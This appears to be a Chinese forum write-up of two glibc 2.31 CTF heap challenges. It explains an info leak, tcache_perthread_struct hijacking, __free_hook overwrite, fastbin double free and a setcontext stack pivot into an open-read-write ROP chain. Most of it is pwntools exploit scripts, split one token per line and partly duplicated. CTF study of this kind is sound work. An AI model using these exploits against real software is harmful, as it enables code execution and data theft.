比赛的时候事情有些多,没怎么好好看题,赛后把题目认真做做补一下。
可以看到这里malloc之后会做一个memset做一个清空的操作,但是这个不同于calloc,memset的size是我们输入的size,但是由于我们最小的申请到的单位是0x20,如果我们add的size=1,那么他会返回0x20,这样子把size错开,先free再拉回来,他只清空了1个字节,那么剩下的指针就泄露出来了。
这里有两个小细节:
如果size直接就是合法的话,那么 size_1 = size ,那么当运行到:
会被补上一个空字节,对show造成截断。所以这里要做的一个处理就是触发一次任意地址空字节写,把这个空字节写飞,保证他不会影响到后续的printf。
注意他这里使用的for循环读取。那么实际上有两个可以造成读取结束的情况。如果size合法时,我们输入的内容比size小(即触发了\n 结束)的话:也会造成补一个空字节,影响到printf,所以我们要保证,这个循环是由i=size退出(即size=len(Content))而不是提前碰到了换行符退出。
当这两/三个地方绕过后,就能泄露出heap base了
接下来的事情几乎都是堆风水的事情了。
思路就是利用单空字节写,不停的对于偏移0x300位置的chunk进行劫持(overlap),最终达到的目标是申请到pthread_tcache_struct
这样就完成了一个在size被限制的情况下获得一个0x290大小的chunk
接下来我们想多次利用 pthread_tcache_struct,那么我的想法是,首先要劫持pthread_tcache_struct 的 number来填满tcache,保证pthread_tcache_struct可以被free到unsortedbin,接下来,我们劫持pthread_tcache_struct 中的 tcache_entry 保证有多个 tcache_entry 都指向 pthread_tcache_struct 类似如下(由于可申请的size有限,所以我们只能最多劫持6个tcache_entry的指针):
接下来把tcache扔到ubin里,此时在table中有两个tache,然后free进ubin,直接show出来就好。
打freehook,还是老办法,由于pthread_tcache_struct 里已经有了多个指向他本身的指针,那么我们直接在tcache里填上'/bin/sh\x00' 然后free_hook getshell。
1.glibc2.31 保护全开
2.只能orw(白名单)
3.add函数如下图:
4.load函数:
5.Shoot函数,主要是起一个free和show的作用,这里在free后清空了标志位,但是指针被留下来了(UAF)
效果如下:
程序没有在申请chunk的时候做一个对残留指针的清空操作,所以导致可以直接通过把在unsortedbin里的chunk切割回来泄露libc
思路跟泄露libc很像,不过这个时候是利用tcache残留的next指针,然后add回来,再free一次,free的同时show出来heap地址
我们看到程序里的UAF方便了我们的地址泄露,但是程序里并没有任何一个任意写,所以不太好直接劫持指针。
程序里还有一个漏洞在于:如果我们先load(0)load(1) 此时#1 会被放一个#0的地址,但是如果我们再load(0),然后单独free掉#0(因为bss_loaded_bullet只储存最后一个被load的位置),那么这个时候#1上仍然有已经free掉的#0的地址,并且#0已经处于free状态。倘若此时我们再次load(1),然后shoot两次,那么就完成了一个对于#1的double free,但是由于2.31的tcache key检查(且我们没有任意写能破坏key),所以我们需要在fastbin中完成double free
比较重要的是使用了2.31下的这一条gadget配合setcontext+61做栈迁移:
用ropper找的:
大概过程如下:
实际2.29也有类似的,有兴趣可以自行研究。
最终:
from
pwn
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path
=
"./easyheap"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
cho
=
'>> '
siz
=
'Size: '
con
=
'Content: '
ind
=
'Index: '
def
add(size,content
=
'
',c='
1
'):
sal(cho,c)
sal(siz,
str
(size))
sal(con,content)
def
free(index,c
=
'3'
):
sal(cho,c)
sal(ind,
str
(index))
def
show(index,c
=
'2'
):
sal(cho,c)
sal(ind,
str
(index))
def
evil_add(size_1,size,content
=
'
',c='
1
'):
sal(cho,c)
sal(siz,
str
(size_1))
sal(siz,
str
(size))
sal(con,content)
def
exp():
global
io
io
=
process(elf_path)
add(
1
,
'1'
)
add(
1
,
'2'
)
free(
1
)
free(
0
)
evil_add(
0x100
,
1
,
'p'
)
evil_add(
0x100
,
1
,
'p'
)
show(
0
)
ru(
"Content: "
)
heap
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
-
0x270
success(
"heap base:"
+
hex
(heap))
free(
0
)
free(
1
)
add(
0x20
,
'a'
)
add(
0x70
,
'b'
)
add(
0x80
,
'c'
)
add(
0x80
,
'd'
)
add(
0x80
,
'e'
)
free(
4
)
free(
2
)
free(
3
)
add(
0x70
,'')
free(
1
)
free(
2
)
evil_add(
'-127'
,
0x30
,
'ScUpax0s'
)
evil_add(
'-479'
,
0x30
,
'ScUpax0s'
)
add(
0x70
,
'a'
)
recover
=
flat( heap
+
0x40
,
0x81
,
0
,heap
+
0x10
)
add(
0x70
,recover)
add(
0x80
,
'a'
)
free(
1
)
free(
2
)
add(
0x18
,
'1'
)
add(
0x18
,
'1'
)
add(
0x80
,p64(
0
)
+
p64(
0x81
))
hijack_tcahce
=
flat(
'a'
*
0x50
,p64(heap
+
0x10
)
*
6
)
free(
0
)
free(
1
)
free(
3
)
add(
0x80
,hijack_tcahce)
pause()
add(
0x30
,
'a'
*
0x30
)
add(
0x10
,
'a'
)
free(
3
)
show(
1
)
libc.address
=
u64(ru(
"\x7f"
)[
-
6
:].ljust(
8
,b
'\x00'
))
-
96
-
libc.sym[
'__malloc_hook'
]
-
0x10
success(
"libc:"
+
hex
(libc.address))
system
=
libc.sym[
'system'
]
success(
"system:"
+
hex
(system))
malloc_hook
=
libc.sym[
'__free_hook'
]
success(
"free_hook:"
+
hex
(malloc_hook))
add(
0x60
,p64(malloc_hook)
+
b
'a'
*
(
8
+
16
*
5
))
add(
0x20
,
'/bjn/sh\x00'
)
free(
5
)
add(
0x20
,p64(system))
shell()
exp()
from
pwn
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path
=
"./easyheap"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
cho
=
'>> '
siz
=
'Size: '
con
=
'Content: '
ind
=
'Index: '
def
add(size,content
=
'
',c='
1
'):
sal(cho,c)
sal(siz,
str
(size))
sal(con,content)
def
free(index,c
=
'3'
):
sal(cho,c)
sal(ind,
str
(index))
def
show(index,c
=
'2'
):
sal(cho,c)
sal(ind,
str
(index))
def
evil_add(size_1,size,content
=
'
',c='
1
'):
sal(cho,c)
sal(siz,
str
(size_1))
sal(siz,
str
(size))
sal(con,content)
def
exp():
global
io
io
=
process(elf_path)
add(
1
,
'1'
)
add(
1
,
'2'
)
free(
1
)
free(
0
)
evil_add(
0x100
,
1
,
'p'
)
evil_add(
0x100
,
1
,
'p'
)
show(
0
)
ru(
"Content: "
)
heap
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
-
0x270
success(
"heap base:"
+
hex
(heap))
free(
0
)
free(
1
)
add(
0x20
,
'a'
)
add(
0x70
,
'b'
)
add(
0x80
,
'c'
)
add(
0x80
,
'd'
)
add(
0x80
,
'e'
)
free(
4
)
free(
2
)
free(
3
)
add(
0x70
,'')
free(
1
)
free(
2
)
evil_add(
'-127'
,
0x30
,
'ScUpax0s'
)
evil_add(
'-479'
,
0x30
,
'ScUpax0s'
)
add(
0x70
,
'a'
)
recover
=
flat( heap
+
0x40
,
0x81
,
0
,heap
+
0x10
)
add(
0x70
,recover)
add(
0x80
,
'a'
)
free(
1
)
free(
2
)
add(
0x18
,
'1'
)
add(
0x18
,
'1'
)
add(
0x80
,p64(
0
)
+
p64(
0x81
))
hijack_tcahce
=
flat(
'a'
*
0x50
,p64(heap
+
0x10
)
*
6
)
free(
0
)
free(
1
)
free(
3
)
add(
0x80
,hijack_tcahce)
pause()
add(
0x30
,
'a'
*
0x30
)
add(
0x10
,
'a'
)
free(
3
)
show(
1
)
libc.address
=
u64(ru(
"\x7f"
)[
-
6
:].ljust(
8
,b
'\x00'
))
-
96
-
libc.sym[
'__malloc_hook'
]
-
0x10
success(
"libc:"
+
hex
(libc.address))
system
=
libc.sym[
'system'
]
success(
"system:"
+
hex
(system))
malloc_hook
=
libc.sym[
'__free_hook'
]
success(
"free_hook:"
+
hex
(malloc_hook))
add(
0x60
,p64(malloc_hook)
+
b
'a'
*
(
8
+
16
*
5
))
add(
0x20
,
'/bjn/sh\x00'
)
free(
5
)
add(
0x20
,p64(system))
shell()
exp()
from
pwn
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path
=
"./gun"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
cho
=
b
'Action>'
siz
=
b
'Bullet price: '
con
=
b
'Bullet Name:'
ind
=
''
edi
=
''
def
add(size,content
=
'
',c='
3
'):
sal(cho,c)
err
=
rl()
if
(err
=
=
(b
' wrong game command!\n'
)):
sal(cho,c)
sal(siz,
str
(size))
sal(con,content)
def
add_0(size,content
=
'
',c='
3
'):
sal(cho,c)
sal(siz,
str
(size))
sal(con,content)
def
free(index,c
=
'1'
):
sal(cho,c)
sal(
"Shoot time: "
,
str
(index))
def
load(index,c
=
'2'
):
sal(cho,c)
sal(
'Which one do you want to load?'
,
str
(index))
def
exp():
global
io
io
=
process([elf_path])
name
=
'a'
*
0x18
sa(
"name:"
,name)
add(
0x440
,
'Large chunk(0x440)'
)
add_0(
0x10
,
'defense chunk(0x10)'
)
load(
0
)
free(
1
)
add_0(
0x10
,
'backback'
)
load(
0
)
free(
1
)
libc.address
=
u64(ru(b
"\x7f"
)[
-
6
:].ljust(
8
,b
'\x00'
))
-
1120
-
libc.sym[
'__malloc_hook'
]
-
0x10
success(
"libc:"
+
hex
(libc.address))
add_0(
0x68
,
'ScUpax0s'
)
add_0(
0x68
,
'ScUpax0s'
)
load(
0
)
load(
1
)
free(
2
)
add_0(
0x10
,
'p'
)
load(
0
)
free(
1
)
ru(b
'Pwn! The '
)
heap
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
-
0x270
success(
"heap:"
+
hex
(heap))
add_0(
0x68
,
'ScUpax0s'
)
add_0(
0x68
,
'ScUpax0s'
)
add_0(
0x68
,
'ScUpax0s'
)
add_0(
0x68
,
'ScUpax0s'
)
add_0(
0x68
,
'ScUpax0s'
)
add_0(
0x68
,
'ScUpax0s'
)
add_0(
0x68
,
'ScUpax0s'
)
add_0(
0x68
,
'ScUpax0s'
)
load(
0
)
load(
2
)
load(
3
)
load(
4
)
load(
5
)
load(
6
)
load(
7
)
load(
8
)
free(
8
)
load(
1
)
free(
2
)
free_hook
=
libc.sym[
'__free_hook'
]
success(
"free_hook:"
+
hex
(free_hook))
setcontext
=
libc.sym[
'setcontext'
]
+
61
orw_addr
=
heap
+
0x100
p
=
p64(
0
)
*
4
+
p64(setcontext)
frame_addr
=
heap
+
0x3d0
payload
=
flat(
0
,
frame_addr,
p64(
0
)
*
2
,
setcontext
)
ret
=
0x0000000000025679
+
libc.address
add_0(
0x68
,
'A'
*
0x10
)
add_0(
0x68
,flat(p64(
0
)
*
6
,orw_addr,ret))
add_0(
0x68
,
'C'
*
0x10
)
add_0(
0x68
,
'D'
*
0x10
)
add_0(
0x68
,
'E'
*
0x10
)
add_0(
0x68
,
'F'
*
0x10
)
add_0(
0x68
,
'J'
*
0x10
)
add_0(
0x68
,p64(heap
+
0x90
))
add_0(
0x68
,payload)
pop_rdi
=
0x0000000000026b72
+
libc.address
pop_rsi
=
0x0000000000027529
+
libc.address
pop_rdx_r12
=
0x000000000011c371
+
libc.address
syscall
=
0x000000000002584d
+
libc.address
pop_rax
=
0x000000000004a550
+
libc.address
flag_str_addr
=
heap
+
0x100
+
0xd8
flag_addr
=
heap
+
0x200
orw
=
flat(
pop_rdi,
flag_str_addr,
pop_rsi,
0
,
pop_rax,
2
,
libc.sym[
'open'
],
pop_rdi,
3
,
pop_rsi,
flag_addr,
pop_rdx_r12,
0x100
,
0
,
pop_rax,
0
,
libc.sym[
'read'
],
pop_rdi,
1
,
pop_rsi,
flag_addr,
pop_rdx_r12,
0x100
,
0
,
pop_rax,
1
,
libc.sym[
'write'
],
'./flag\x00'
)
success(
hex
(
len
(orw)))
add_0(
0x68
,payload)
add_0(
0x68
,p64(heap
+
0x10
)
*
8
+
p64(heap
+
0xf8
)
+
p64(heap
+
0x10
)
*
2
+
p64(heap
+
0x28
)
+
p64(heap
+
0xf8
))
add_0(
0x18
,
'a'
*
0x18
)
add_0(
0xc8
,
'aaaaaaaaaaa'
)
add_0(
0x98
,p64(heap
+
0x100
))
load(
0
)
load(
2
)
load(
3
)
load(
4
)
load(
5
)
free(
5
)
add_0(
0xe0
,orw)
add_0(
0x28
,p64(free_hook))
add_0(
0x38
,
'\x70'
)
magic_gadget
=
libc.address
+
0x0000000000154930
success(
"magic:"
+
hex
(magic_gadget))
add_0(
0x38
,p64(magic_gadget))
success(
"orw:"
+
hex
(heap
+
0x100
))
load(
8
)
shell()
exp()
from
pwn
import
*
s
=
lambda
buf: io.send(buf)
sl
=
lambda
buf: io.sendline(buf)
sa
=
lambda
delim, buf: io.sendafter(delim, buf)
sal
=
lambda
delim, buf: io.sendlineafter(delim, buf)
shell
=
lambda
: io.interactive()
r
=
lambda
n
=
None
: io.recv(n)
ra
=
lambda
t
=
tube.forever:io.recvall(t)
ru
=
lambda
delim: io.recvuntil(delim)
rl
=
lambda
: io.recvline()
rls
=
lambda
n
=
2
*
*
20
: io.recvlines(n)
libc_path
=
"/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path
=
"./gun"
libc
=
ELF(libc_path)
elf
=
ELF(elf_path)
if
sys.argv[
1
]
=
=
'1'
:
context(log_level
=
'debug'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
elif
sys.argv[
1
]
=
=
'0'
:
context(log_level
=
'info'
,terminal
=
'/bin/zsh'
, arch
=
'amd64'
, os
=
'linux'
)
cho
=
b
'Action>'
siz
=
b
'Bullet price: '
con
=
b
'Bullet Name:'
ind
=
''
edi
=
''
def
add(size,content
=
'
',c='
3
'):
sal(cho,c)
err
=
rl()
if
(err
=
=
(b
' wrong game command!\n'
)):
sal(cho,c)
sal(siz,
str
(size))
sal(con,content)
def
add_0(size,content
=
'
',c='
3
'):
sal(cho,c)
sal(siz,
str
(size))
sal(con,content)
def
free(index,c
=
'1'
):
sal(cho,c)
sal(
"Shoot time: "
,
str
(index))
def
load(index,c
=
'2'
):
sal(cho,c)
sal(
'Which one do you want to load?'
,
str
(index))
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2020-11-20 19:13
被Roland_编辑
,原因: